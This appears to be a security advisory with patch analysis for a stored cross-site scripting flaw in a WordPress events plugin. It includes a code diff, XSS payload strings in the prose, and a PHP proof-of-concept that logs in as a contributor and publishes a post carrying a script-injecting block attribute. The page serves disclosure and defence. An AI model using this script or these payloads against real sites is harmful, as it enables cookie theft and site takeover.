Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-123480: Display Eventbrite Events <= 6.9.1 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 6.9.1
Patched Version 6.9.2
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-123480: The Display Eventbrite Events plugin for WordPress, versions up to and including 6.9.1, contains an authenticated (Contributor+) stored cross-site scripting (XSS) vulnerability. The flaw resides in the plugin’s block rendering path, specifically in the `render_block` method of the `Blocks` class (`widget-for-eventbrite-api/blocks/class-blocks.php`). Insufficient input sanitization and output escaping allow an attacker with contributor-level access to inject arbitrary JavaScript into pages, which executes when any user (including administrators) views the affected page. The CVSS score is 6.4 (Medium).

The root cause is that block attributes are passed directly to the front-end rendering functions without the sanitization applied to shortcode attributes. In the vulnerable version, `class-blocks.php` calls `$front_end->do_query_template( $atts, $content, $block )` after only removing non-Eventbrite keys via `remove_non_eb_keys()`. The `Frontend::sanitize_atts()` method, which normally cleans string attributes for shortcodes (see `shortcodes/class-shortcodes.php`), is bypassed for blocks. As a result, attacker-controlled string attributes (e.g., `style`, `link_to_label`, `cta_text`, etc.) reach templates and are output without proper escaping. For example, the `style` attribute is used in `date_widget.php` and `title_widget__free.php` without sanitization, and the `link_to_label` is passed through `sprintf` without escaping in `title_widget__free.php`. The patch adds a `sanitize_block_strings()` method that runs block attributes through `Frontend::sanitize_atts()` and takes back only the cleaned string values, preserving non-string types. This ensures that dangerous characters (quotes, brackets, script tags) are neutralized before output. Atomic Edge research confirms that the vulnerability is exploitable via the block editor interface, where a contributor can craft a malicious block attribute value.

An attacker with Contributor+ privileges can create or edit a post and insert a Eventbrite Events block (e.g., `wp:widget-for-eventbrite-api/events`). Using the block’s attribute settings, the attacker sets a string attribute (such as `style` or `link_to_label`) to a payload like `”>alert(document.cookie)` or `x” onmouseover=”alert(1)`. When the post is saved and later viewed by an administrator or any site visitor, the injected script executes in the context of the victim’s browser. The attack requires authentication but no other privileges beyond Contributor, which is commonly available on multi-author sites. The payload is stored in post content and persists until removed.

The patch (version 6.9.2) introduces `sanitize_block_strings()` in `class-blocks.php`, which calls `Frontend::sanitize_atts()` on the block attributes after merging with defaults. It then replaces string attributes with their sanitized versions. Additionally, the patch hardens other areas: `sanitize_style_classes()` strips non-class characters from style settings, `safe_sprintf()` prevents fatal errors from malformed format strings, and description rendering is moved to `clean_description_html()` which applies `wp_kses()` with a restricted allow-list. These changes collectively close the XSS vector by ensuring all output is properly escaped or sanitized. Before the patch, blocks rendered without sanitization; after the patch, attributes are cleaned before reaching templates.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the injected page, including administrators. This can lead to session hijacking, theft of authentication cookies, creation of rogue administrator accounts, site defacement, or redirection to malicious domains. The stored nature of the XSS means the payload executes for every visitor until the post is cleaned. Given the low privileges required (Contributor), this vulnerability poses a significant risk to multi-author WordPress sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/widget-for-eventbrite-api/blocks/class-blocks.php
+++ b/widget-for-eventbrite-api/blocks/class-blocks.php
@@ -75,10 +75,32 @@
         }
         $front_end = new Frontend($this->plugin_name, $this->version, $this->utilities);
         $atts = $this->remove_non_eb_keys( $atts );
+        $atts = $this->sanitize_block_strings( $front_end, $atts );
         $output = $front_end->do_query_template( $atts, $content, $block );
         return '<div ' . get_block_wrapper_attributes() . '>' . $output . '</div>';
     }

+    /**
+     * Block attributes reach the templates without the shortcode's sanitize_atts(). Run them through
+     * it and take back only the cleaned text values: booleans, numbers and the shortcode-only rules
+     * (such as the pop-up turning "read more" off) stay as the block has always had them, so saved
+     * blocks render as before.
+     *
+     * @param FrontEnd $front_end
+     * @param array    $atts block attributes after remove_non_eb_keys()
+     *
+     * @return array
+     */
+    private function sanitize_block_strings( $front_end, $atts ) {
+        $clean = $front_end->sanitize_atts( shortcode_atts( FrontEnd::default_args( $atts ), $atts, 'wfea' ) );
+        foreach ( $atts as $key => $value ) {
+            if ( is_string( $value ) && isset( $clean[$key] ) && is_string( $clean[$key] ) ) {
+                $atts[$key] = $clean[$key];
+            }
+        }
+        return $atts;
+    }
+
     public function remove_non_eb_keys( $atts ) {
         unset(
             $atts['apiKeyOptions'],
--- a/widget-for-eventbrite-api/frontend/class-frontend.php
+++ b/widget-for-eventbrite-api/frontend/class-frontend.php
@@ -399,7 +399,6 @@
         );
         $frontend_data = array(
             'ajaxurl' => admin_url( 'admin-ajax.php' ),
-            'nonce'   => wp_create_nonce( 'wfea_modal_nonce' ),
         );
         wp_localize_script( $this->plugin_name, 'wfea_frontend', $frontend_data );
         if ( !WP_DEBUG ) {
@@ -536,16 +535,17 @@
         }
     }

+    /**
+     * Not hooked any more: get_long_description_html() cleans and wraps the description itself.
+     * Kept because it was public, so a site's code may call it.
+     *
+     * @param string $content description markup
+     * @param object $event   not used
+     *
+     * @return string
+     */
     public function wfea_the_content( $content, $event = null ) {
-        $strip = apply_filters( 'wfea_strip_eb_inline_style', true );
-        if ( true === $strip ) {
-            $content = preg_replace( '/(<[^>]+) style=".*?"/i', '$1', $content );
-        }
-        $class = ( apply_filters( 'wfea_strip_eb_inline_style', true ) ? 'local_style' : '' );
-        // add a container class to any iframe
-        $content = preg_replace( '/<iframe/i', '<div class="wfea_eb_content_iframe_container"><iframe', $content );
-        $content = preg_replace( '/<\/iframe>/i', '</iframe></div>', $content );
-        return '<div class="wfea_eb_content ' . $class . '">' . $content . '</div>';
+        return $this->utilities->clean_description_html( $content );
     }

     private function atts_bool( $att ) {
--- a/widget-for-eventbrite-api/includes/class-core.php
+++ b/widget-for-eventbrite-api/includes/class-core.php
@@ -219,12 +219,6 @@
             9,
             2
         );
-        add_filter(
-            'wfea_the_content',
-            array($plugin_public, 'wfea_the_content'),
-            10,
-            2
-        );
         add_action( 'wp_enqueue_scripts', array($plugin_public, 'enqueue_styles') );
         add_action( 'wp_enqueue_scripts', array($plugin_public, 'enqueue_scripts') );
         // Prevent JS optimizers from deferring calendar scripts (runs late to override optimizer filters).
--- a/widget-for-eventbrite-api/includes/class-eventbrite-event.php
+++ b/widget-for-eventbrite-api/includes/class-eventbrite-event.php
@@ -187,6 +187,9 @@
 	// EventKiln-only details (id, public_url, checkout_url, embed_checkout_url, checkout_mode).
 	public $eventkiln;

+	// EventKiln only: true when the organiser hasn't set the time yet (start 00:00, end 23:59 local).
+	public $time_tbc = false;
+


 		/**
--- a/widget-for-eventbrite-api/includes/class-eventkiln-source.php
+++ b/widget-for-eventbrite-api/includes/class-eventkiln-source.php
@@ -489,6 +489,9 @@
 			'is_series_parent'       => false,
 			'series_dates'           => false,
 			'online_event'           => ! empty( $raw['is_online'] ),
+			// The organiser hasn't set a time: starts_at is 00:00 local and ends_at 23:59 local,
+			// kept so sorting still works, so the times must not be shown.
+			'time_tbc'               => ! empty( $raw['time_tbc'] ),
 			'tags'                   => array(),
 			'music_properties'       => $this->map_music_properties( $raw ),
 			'performances'           => $this->map_lineup( $raw ),
--- a/widget-for-eventbrite-api/includes/class-ics.php
+++ b/widget-for-eventbrite-api/includes/class-ics.php
@@ -79,6 +79,8 @@
 	const DT_FORMAT = 'YmdTHisZ';

 	protected $properties = array();
+	// All-day event: DTSTART and DTEND are written as dates (DTEND is the day after the last day).
+	protected $all_day = false;
 	private $available_properties = array(
 		'description',
 		'dtend',
@@ -98,7 +100,9 @@
 				$this->set($k, $v);
 			}
 		} else {
-			if (in_array($key, $this->available_properties)) {
+			if ('allday' === $key) {
+				$this->all_day = (bool) $val;
+			} elseif (in_array($key, $this->available_properties)) {
 				$this->properties[$key] = $this->sanitize_val($val, $key);
 			}
 		}
@@ -122,6 +126,10 @@
 		// Build ICS properties - add header
 		$props = array();
 		foreach($this->properties as $k => $v) {
+			if ($this->all_day && in_array($k, array('dtstart', 'dtend'), true)) {
+				$props[strtoupper($k) . ';VALUE=DATE'] = substr($v, 0, 8);
+				continue;
+			}
 			$props[strtoupper($k . ($k === 'url' ? ';VALUE=URI' : ''))] = $v;
 		}

--- a/widget-for-eventbrite-api/includes/class-utilities.php
+++ b/widget-for-eventbrite-api/includes/class-utilities.php
@@ -91,7 +91,7 @@
     }

     public static function get_allowed_html() {
-        $html = wp_kses_allowed_html( 'post' );
+        $html = self::add_description_attributes( wp_kses_allowed_html( 'post' ) );
         return array_merge( $html, array(
             'svg'    => array(
                 'class'           => true,
@@ -289,6 +289,43 @@
         return $error_string;
     }

+    /**
+     * Keep only class names in a space-separated style setting. The setting is printed into class
+     * attributes and passed inside a [wfea style="..."] shortcode, so a quote or a "]" in it could
+     * break out of either.
+     *
+     * @param string $style space-separated class names
+     *
+     * @return string
+     */
+    public static function sanitize_style_classes( $style ) {
+        if ( !is_string( $style ) ) {
+            return '';
+        }
+        $classes = array_filter( array_map( 'sanitize_html_class', preg_split( '/\s+/', $style ) ) );
+        return implode( ' ', $classes );
+    }
+
+    /**
+     * sprintf() for format strings a site owner or a translation supplies. A bad placeholder (such as
+     * %3$s with two values, or a stray %) throws on PHP 8 and would stop the page, so return the
+     * fallback instead.
+     *
+     * @param string $format
+     * @param array  $values
+     * @param string $fallback
+     *
+     * @return string
+     */
+    public static function safe_sprintf( $format, $values, $fallback = '' ) {
+        try {
+            $output = vsprintf( (string) $format, $values );
+        } catch ( Throwable $e ) {
+            $output = false;
+        }
+        return ( false === $output ? $fallback : $output );
+    }
+
     public static function map_api_index_to_key( $index, $api_keys = array() ) {
         if ( empty( $api_keys ) ) {
             $options = get_option( 'widget-for-eventbrite-api-settings', Admin_Settings::option_defaults( 'widget-for-eventbrite-api-settings' ) );
@@ -297,6 +334,55 @@
         return ( !empty( $api_keys[$index]['key'] ) ? $api_keys[$index]['key'] : $index );
     }

+    /**
+     * The status a list queries with, combining status with the status_* parts the same way
+     * Frontend::build_query() does.
+     *
+     * @param array $atts
+     *
+     * @return string
+     */
+    public static function effective_status( $atts ) {
+        $status = ( isset( $atts['status'] ) && is_scalar( $atts['status'] ) ? (string) $atts['status'] : 'live' );
+        if ( 'live' === $status ) {
+            if ( isset( $atts['status_live'] ) && false === $atts['status_live'] ) {
+                $status = '';
+            }
+            if ( isset( $atts['status_all'] ) && true === $atts['status_all'] ) {
+                $status = 'all';
+            } else {
+                foreach ( array('started', 'ended', 'canceled') as $part ) {
+                    if ( isset( $atts['status_' . $part] ) && true === $atts['status_' . $part] ) {
+                        $status .= $part;
+                    }
+                }
+            }
+        }
+        return str_replace( 'cancelled', 'canceled', strtolower( $status ) );
+    }
+
+    private static function is_true_setting( $value ) {
+        return in_array( $value, array(
+            true,
+            1,
+            '1',
+            'true'
+        ), true );
+    }
+
+    /**
+     * HMAC over the whole set of protected settings, in a fixed order, so none can be changed,
+     * added or dropped without breaking it.
+     *
+     * @param array $settings api_key, display_private, status
+     *
+     * @return string
+     */
+    private static function list_settings_signature( $settings ) {
+        $canonical = wp_json_encode( array($settings['api_key'], $settings['display_private'], $settings['status']) );
+        return hash_hmac( 'sha256', 'wfea-list-settings|' . $canonical, wp_salt( 'auth' ) );
+    }
+
     public function get_api_reference_from_key( $key ) {
         $options = get_option( 'widget-for-eventbrite-api-settings', Admin_Settings::option_defaults( 'widget-for-eventbrite-api-settings' ) );
         $api_keys = $options['key'];
@@ -709,6 +795,9 @@
      * @api
      */
     function get_event_time( $args = false, $exclude_date = false ) {
+        if ( $this->is_time_tbc() ) {
+            return $this->get_event_time_tbc( $args, $exclude_date );
+        }
         // Collect our formats from the admin.
         $date_format = apply_filters( 'wfea_combined_date_time_date_format', get_option( 'date_format' ) . ', ', $args );
         $time_format = apply_filters( 'wfea_combined_date_time_time_format', get_option( 'time_format' ), $args );
@@ -740,6 +829,38 @@
     }

     /**
+     * get_event_time() for an event whose time is still to be confirmed: the date (and end date
+     * of a multi-day event, when end times are shown) followed by the label, never 00:00.
+     *
+     * @internal
+     */
+    private function get_event_time_tbc( $args, $exclude_date ) {
+        $label = $this->get_time_tbc_label();
+        if ( true === $exclude_date ) {
+            $event_time = esc_html( $label );
+        } else {
+            $date_format = get_option( 'date_format' );
+            $dates = mysql2date( $date_format, $this->get_event_start()->local );
+            if ( (false === $args || !empty( $args['show_end_time'] )) && $this->is_multiday_event() ) {
+                $dates .= ' ' . apply_filters( 'wfea_event_time_separator', '-', $args ) . ' ' . mysql2date( $date_format, $this->get_event_end()->local );
+            }
+            $event_time = sprintf(
+                // translators: %1$s = event date or dates, %2$s = 'Time to be confirmed'
+                _x( '%1$s, %2$s', 'Event date when the time is to be confirmed', 'widget-for-eventbrite-api' ),
+                esc_html( $dates ),
+                esc_html( $label )
+             );
+        }
+        return apply_filters(
+            'wfea_event_time',
+            $event_time,
+            $this->get_event_start(),
+            $this->get_event_end(),
+            $args
+        );
+    }
+
+    /**
      * @deprecated
      */
     public function get_fb_share_href( $args ) {
@@ -763,6 +884,9 @@
      * @internal
      */
     public function get_calendar_utc_times() {
+        if ( $this->is_time_tbc() ) {
+            return $this->get_tbc_dates( 'Ymd' );
+        }
         $event = $this->get_event();
         $start = ( !empty( $event->start->utc ) ? strtotime( $event->start->utc ) : false );
         if ( false === $start ) {
@@ -893,6 +1017,63 @@
     }

     /**
+     * Whether the current event's time is still to be confirmed (EventKiln only). Its start and
+     * end are then the start and end of the day, kept for sorting, and no time should be shown.
+     *
+     * @return bool
+     * @api
+     */
+    public function is_time_tbc() {
+        $event = $this->get_event();
+        return is_object( $event ) && !empty( $event->time_tbc );
+    }
+
+    /**
+     * The label shown in place of the time when it is still to be confirmed.
+     *
+     * @return string
+     * @api
+     */
+    public function get_time_tbc_label() {
+        return apply_filters( 'wfea_time_tbc_label', __( 'Time to be confirmed', 'widget-for-eventbrite-api' ), $this->get_event() );
+    }
+
+    /**
+     * First day and the day after the last day of the current event, local, in $format: the
+     * all-day range calendars expect (their end date is exclusive).
+     *
+     * @return array start, end
+     * @internal
+     */
+    public function get_tbc_dates( $format ) {
+        $start = substr( (string) $this->get_event_start()->local, 0, 10 );
+        $end = substr( (string) $this->get_event_end()->local, 0, 10 );
+        $start = strtotime( $start . ' 00:00:00 UTC' );
+        $end = strtotime( $end . ' 00:00:00 UTC' );
+        if ( false === $start ) {
+            return array('', '');
+        }
+        if ( false === $end || $end < $start ) {
+            $end = $start;
+        }
+        return array(gmdate( $format, $start ), gmdate( $format, $end + DAY_IN_SECONDS ));
+    }
+
+    /**
+     * Value for a <time datetime=""> attribute for the current event's start: the full date and
+     * time, or the date alone when the time is to be confirmed.
+     *
+     * @return string
+     * @api
+     */
+    public function get_event_datetime_attr() {
+        if ( $this->is_time_tbc() ) {
+            return substr( (string) $this->get_event_start()->local, 0, 10 );
+        }
+        return get_the_date( 'c', $this->get_event() );
+    }
+
+    /**
      * check if a multiday event
      * @return bool
      * @internal
@@ -991,6 +1172,65 @@
     }

     /**
+     * Clean and wrap an event description.
+     *
+     * @param string $content description markup from outside this site
+     *
+     * @return string
+     * @api
+     */
+    public function clean_description_html( $content ) {
+        // A description is text from outside this site, so kses is the last thing to touch it: any later
+        // rewrite could rebuild markup kses had cleaned. A site's own wfea_the_content filter runs after.
+        // wp_kses() would drop the tags of a script or style block and show the code inside as text.
+        $strip = apply_filters( 'wfea_strip_eb_inline_style', true );
+        $content = preg_replace( '@<(script|style)[^>]*?>.*?</\1>@si', '', $content );
+        $content = wptexturize( $content );
+        $content = convert_smilies( $content );
+        $content = convert_chars( $content );
+        $content = str_replace( ']]>', ']]>', $content );
+        // add a container class to any iframe
+        $content = preg_replace( '/<iframe/i', '<div class="wfea_eb_content_iframe_container"><iframe', $content );
+        $content = preg_replace( '/<\/iframe>/i', '</iframe></div>', $content );
+        $allowed = self::add_description_attributes( wp_kses_allowed_html( 'post' ) );
+        if ( true === $strip ) {
+            foreach ( $allowed as $tag => $attributes ) {
+                if ( is_array( $attributes ) ) {
+                    unset($allowed[$tag]['style']);
+                }
+            }
+        }
+        return '<div class="wfea_eb_content ' . (( $strip ? 'local_style' : '' )) . '">' . wp_kses( $content, $allowed ) . '</div>';
+    }
+
+    /**
+     * What a description's images and videos keep on top of post content's allow-list. Not the
+     * iframe's allow attribute: its permission prompts for camera, microphone and location would
+     * show this site's name for a frame the description chose.
+     *
+     * @param array $allowed kses allow-list
+     *
+     * @return array
+     */
+    private static function add_description_attributes( $allowed ) {
+        if ( isset( $allowed['iframe'] ) ) {
+            $allowed['iframe'] += array(
+                'title'   => true,
+                'loading' => true,
+                'class'   => true,
+                'style'   => true,
+            );
+        }
+        if ( isset( $allowed['img'] ) ) {
+            $allowed['img'] += array(
+                'srcset' => true,
+                'sizes'  => true,
+            );
+        }
+        return $allowed;
+    }
+
+    /**
      * Template function to diaply content
      * @return mixed|null
      * @api
@@ -1004,10 +1244,7 @@
         } else {
             $content = '';
         }
-        $content = wptexturize( $content );
-        $content = convert_smilies( $content );
-        $content = convert_chars( $content );
-        $content = str_replace( ']]>', ']]>', $content );
+        $content = $this->clean_description_html( $content );
         $content = apply_filters( 'wfea_the_content', $content, $event );
         return $content;
     }
@@ -1033,10 +1270,10 @@
         $wfea_event = $this->get_event();
         // Use new dedicated property if available
         if ( isset( $wfea_event->wfea_excerpt_text ) && !empty( $wfea_event->wfea_excerpt_text ) ) {
-            return $wfea_event->wfea_excerpt_text;
+            return wp_strip_all_tags( $wfea_event->wfea_excerpt_text );
         }
         // Fallback for backward compatibility
-        return ( isset( $wfea_event->summary ) ? $wfea_event->summary : '' );
+        return ( isset( $wfea_event->summary ) ? wp_strip_all_tags( $wfea_event->summary ) : '' );
     }

     /**
--- a/widget-for-eventbrite-api/includes/vendor/composer/installed.php
+++ b/widget-for-eventbrite-api/includes/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'fullworks/widget-for-eventbrite-api',
-        'pretty_version' => 'v6.9.1',
-        'version' => '6.9.1.0',
-        'reference' => 'adf23c1d65e3447b3c18e769dd68b050968af3a0',
+        'pretty_version' => 'v6.9.2',
+        'version' => '6.9.2.0',
+        'reference' => '395df54e006a7a9b844e3a4d1d232b58ee7cd0b1',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../../',
         'aliases' => array(),
@@ -69,9 +69,9 @@
             'dev_requirement' => false,
         ),
         'fullworks/widget-for-eventbrite-api' => array(
-            'pretty_version' => 'v6.9.1',
-            'version' => '6.9.1.0',
-            'reference' => 'adf23c1d65e3447b3c18e769dd68b050968af3a0',
+            'pretty_version' => 'v6.9.2',
+            'version' => '6.9.2.0',
+            'reference' => '395df54e006a7a9b844e3a4d1d232b58ee7cd0b1',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../../',
             'aliases' => array(),
--- a/widget-for-eventbrite-api/includes/widgets/elementor/class-eventbrite-widget-elementor-helpers.php
+++ b/widget-for-eventbrite-api/includes/widgets/elementor/class-eventbrite-widget-elementor-helpers.php
@@ -599,7 +599,8 @@
         }
         $add = ( isset( $params['style'] ) ? ' ' . $params['style'] : '' );
         $style .= $add;
-        return $style;
+        // It goes inside [wfea style="..."], so only class names: no quote or "]" can end it.
+        return Utilities::sanitize_style_classes( $style );
     }

     /**
--- a/widget-for-eventbrite-api/includes/widgets/elementor/class-eventbrite-widget-elementor.php
+++ b/widget-for-eventbrite-api/includes/widgets/elementor/class-eventbrite-widget-elementor.php
@@ -384,7 +384,11 @@
         ?>
         </div>
 		<?php
-        echo wp_kses( ob_get_clean(), Utilities::get_allowed_html() );
+        // Not passed through kses: this is the shortcode's own output, already escaped where it is built,
+        // and the calendar's inline script carries JSON that kses rewrites into running code. The settings
+        // reach the shortcode through esc_attr and the style through sanitize_style_classes.
+        echo ob_get_clean();
+        // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
     }

     /**
--- a/widget-for-eventbrite-api/shortcodes/class-shortcodes.php
+++ b/widget-for-eventbrite-api/shortcodes/class-shortcodes.php
@@ -60,7 +60,8 @@
         $sc_atts = shortcode_atts( WidgetForEventbriteAPIFrontEndFrontend::default_args( $initial_atts ), $initial_atts, 'wfea' );
         $front_end = new Frontend($this->plugin_name, $this->version, $this->utilities);
         $atts = $front_end->sanitize_atts( $sc_atts );
-        return $front_end->do_query_template( $atts ) . $debug_message;
+        $key_notice = '';
+        return $key_notice . $front_end->do_query_template( $atts ) . $debug_message;
     }

     private function check_valid_att( $atts ) {
--- a/widget-for-eventbrite-api/templates__free/parts/booknow__free.php
+++ b/widget-for-eventbrite-api/templates__free/parts/booknow__free.php
@@ -14,17 +14,18 @@
     <div class="eaw-booknow"> <?php
 	switch ( $data->template ) {
 		case 'divi':
-			$wfea_button_markup = '<a %1$s class="wfea-button submit et_pb_button" %3$s  aria-label="%2$s %5$s %4$s">%2$s</a>';
+			$wfea_button_markup = '<a %1$s class="wfea-button submit et_pb_button" %3$s  aria-label="%6$s %5$s %4$s">%2$s</a>';
 			break;
 		default:
-			$wfea_button_markup = '<a %1$s class="wfea-button button" %3$s  aria-label="%2$s %5$s %4$s">%2$s</a>';
+			$wfea_button_markup = '<a %1$s class="wfea-button button" %3$s  aria-label="%6$s %5$s %4$s">%2$s</a>';
 	}
 	printf( $wfea_button_markup,
 		$data->event->booknow,
 		wp_kses_post( $wfea_cta_text ),
 		( $data->utilities->get_element( 'newtab', $data->args ) ) ? 'target="_blank"' : '',
 		esc_attr( $data->utilities->get_event_title() ),
-		esc_attr( $data->utilities->get_on_source_label( true ) )
+		esc_attr( $data->utilities->get_on_source_label( true ) ),
+		esc_attr( wp_strip_all_tags( $wfea_cta_text ) )
 	);
 	?></div><?php
 }
--- a/widget-for-eventbrite-api/templates__free/parts/date_widget.php
+++ b/widget-for-eventbrite-api/templates__free/parts/date_widget.php
@@ -6,5 +6,5 @@
  */
 if ( $data->utilities->get_element( 'date', $data->args ) ) {
 		$wfea_date = $data->utilities->get_event_time($data->args);
-		printf( '<time class="eaw-time published" datetime="%1$s">%2$s</time>', esc_html( get_the_modified_date( 'c', $data->utilities->get_event() ) ), esc_html( $wfea_date ) );
+		printf( '<time class="eaw-time published" datetime="%1$s">%2$s</time>', esc_html( $data->utilities->is_time_tbc() ? $data->utilities->get_event_datetime_attr() : get_the_modified_date( 'c', $data->utilities->get_event() ) ), esc_html( $wfea_date ) );
 }
--- a/widget-for-eventbrite-api/templates__free/parts/title_widget__free.php
+++ b/widget-for-eventbrite-api/templates__free/parts/title_widget__free.php
@@ -9,8 +9,7 @@
 	<?php
 	printf( '<a %1$s title="%2$s" rel="bookmark" %4$s>%3$s</a>',
 		$data->event->booknow,
-		sprintf(
-                esc_attr( $data->utilities->get_link_to_label() ), the_title_attribute( array( 'echo' => false, 'post' => $data->utilities->get_event() ) ) ),
+		$data->utilities->safe_sprintf( esc_attr( $data->utilities->get_link_to_label() ), array( the_title_attribute( array( 'echo' => false, 'post' => $data->utilities->get_event() ) ) ), the_title_attribute( array( 'echo' => false, 'post' => $data->utilities->get_event() ) ) ),
 		the_title_attribute( array( 'echo' => false, 'post' => $data->utilities->get_event() ) ),
 		( $data->utilities->get_element( 'newtab', $data->args ) ) ? 'target="_blank"' : ''
 	);
--- a/widget-for-eventbrite-api/widget-for-eventbrite-api.php
+++ b/widget-for-eventbrite-api/widget-for-eventbrite-api.php
@@ -6,7 +6,7 @@
  * Plugin Name:       Display Eventbrite Events
  * Plugin URI:        https://fullworksplugins.com/products/widget-for-eventbrite/
  * Description:       Easily display Eventbrite events on your WordPress site
- * Version:           6.9.1
+ * Version:           6.9.2
  * Requires at least: 5.9
  * Requires PHP:      7.4
  * Author:            Fullworks
@@ -50,7 +50,7 @@
 define( 'WIDGET_FOR_EVENTBRITE_API_PLUGIN_NAME', basename( WIDGET_FOR_EVENTBRITE_API_PLUGIN_DIR ) );
 define( 'WIDGET_FOR_EVENTBRITE_API_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
 define( 'WIDGET_FOR_EVENTBRITE_API_PLUGINS_TOP_DIR', plugin_dir_path( __DIR__ ) );
-define( 'WIDGET_FOR_EVENTBRITE_API_PLUGIN_VERSION', '6.9.1' );
+define( 'WIDGET_FOR_EVENTBRITE_API_PLUGIN_VERSION', '6.9.2' );
 // Tell WP Consent API aware cookie banners that this plugin honours consent, so they can
 // report it rather than flagging the Eventbrite checkout as an unmanaged third party.
 add_filter( 'wp_consent_api_registered_' . plugin_basename( __FILE__ ), '__return_true' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-123480 - Display Eventbrite Events <= 6.9.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor password

// Initialize cURL
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

if (strpos($login_response, 'Dashboard') === false) {
    die("Login failed.n");
}

// Step 2: Create a new post with a malicious block
$post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);

// Extract nonce for post creation (simplified: use a static nonce from the page)
preg_match('/name="_wpnonce" value="([^"]+)"/', $post_page, $matches);
$nonce = $matches[1] ?? '';

// Malicious payload: inject script via the 'style' attribute of the block
$payload = '"><script>alert(document.cookie)</script>';
$block_content = '<!-- wp:widget-for-eventbrite-api/events {"style":"' . $payload . '"} /-->';

$post_data = array(
    'action' => 'editpost',
    'post_ID' => '0', // new post
    'post_title' => 'Malicious Post',
    'content' => $block_content,
    'post_status' => 'publish', // or 'draft' to avoid immediate public disclosure
    '_wpnonce' => $nonce
);

$create_url = $target_url . '/wp-admin/post.php';
curl_setopt($ch, CURLOPT_URL, $create_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$create_response = curl_exec($ch);

// Step 3: Verify the post was created
if (strpos($create_response, 'Post published') !== false || strpos($create_response, 'Post updated') !== false) {
    echo "Post created successfully. Visit the post to trigger the XSS.n";
} else {
    echo "Failed to create post.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.